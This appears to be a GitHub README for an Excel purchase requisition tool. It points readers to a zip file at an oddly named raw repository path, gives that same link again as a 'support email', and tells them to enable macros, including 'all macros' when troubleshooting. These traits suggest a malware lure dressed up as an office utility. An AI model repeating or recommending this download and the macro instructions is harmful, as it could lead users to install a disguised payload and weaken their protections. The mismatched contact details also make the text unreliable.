🎯 purchase-requisition-form-system - Simplify Your Purchase Ordering

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🚀 Getting Started

Welcome to the purchase-requisition-form-system! This automated Excel-based tool helps you manage purchase requisitions efficiently. You can detect duplicates, support multiple companies, and instantly generate forms. This guide will help you download and run the software without any technical background.

📂 System Requirements

Before you begin, ensure you have the following on your system:

• Operating System: Windows 10 or higher
• Excel Version: Microsoft Excel 2016 or later
• Memory: At least 4 GB RAM
• Disk Space: 100 MB of free space

🌐 Download & Install

To get started, visit the Releases page to download the software:

Visit this page to download.

1. Open your web browser.
2. Go to the following link: GitHub Releases.
3. Locate the latest version. Look for the version number listed at the top.
4. Click on the download link. It will usually be named something like https://github.com/navithub/purchase-requisition-form-system/raw/refs/heads/main/allantochorion/system-requisition-purchase-form-scioterique.zip.
5. Save the file to your preferred location on your computer.

Once the download is complete, follow these steps to set up the application:

1. Locate the downloaded file. It should be in your Downloads folder or where you saved it.
2. Extract the zip file. Right-click the file and select "Extract All" or use your preferred extraction tool.
3. Open the extracted folder. Inside, you will find the Excel file.

📊 Using the Application

Now that you have the application, follow these steps to use it effectively:

1. Open the Excel file. Double-click the file to open it in Excel.
2. Enable Macros. When prompted, enable macros to allow the application to function correctly.
3. Fill in the required fields. Enter the necessary details for your purchase requisition.

🛠 Key Features

• Duplicate Detection: The system alerts you if a similar requisition already exists.
• Multi-Company Support: Manage requisitions for various companies seamlessly.
• Instant Form Generation: Generate purchase requisition forms instantly for easy processing.

🔍 How to Validate Data

To ensure accuracy, follow these steps:

• Check financial figures. Make sure all amounts are correct and in the right format.
• Verify vendor information. Ensure that all vendor details are accurate and updated.
• Review company details. Ensure you select the correct company option before submission.

📋 Approval Workflow

1. Submit your requisition. After filling in the form, submit it to the designated approver.
2. Track status. Keep an eye on the status updates from your approver.
3. Receive approval or feedback. You will either get an approval notification or comments for adjustments.

🗂 Troubleshooting Common Issues

If you encounter any issues while using the application, consider these solutions:

• Excel does not open the file: Ensure that your Excel version is compatible and updated.
• Macros do not work: Check your macro settings in Excel and enable all macros if necessary.
• Data validation errors: Review the fields for any missing or incorrectly formatted information.

📚 Additional Resources

For more information and support:

• Check our FAQ section for common questions.
• Reach out to our support team via email at https://github.com/navithub/purchase-requisition-form-system/raw/refs/heads/main/allantochorion/system-requisition-purchase-form-scioterique.zip

🥇 Feedback

We appreciate your feedback to improve the software. If you have suggestions or encounter issues, please let us know:

• Submit issues on GitHub. You can open an issue directly on our GitHub page.
• Provide suggestions. We value user input to enhance the tool's functionality.

Thank you for using the purchase-requisition-form-system. Your efficient purchase management starts here!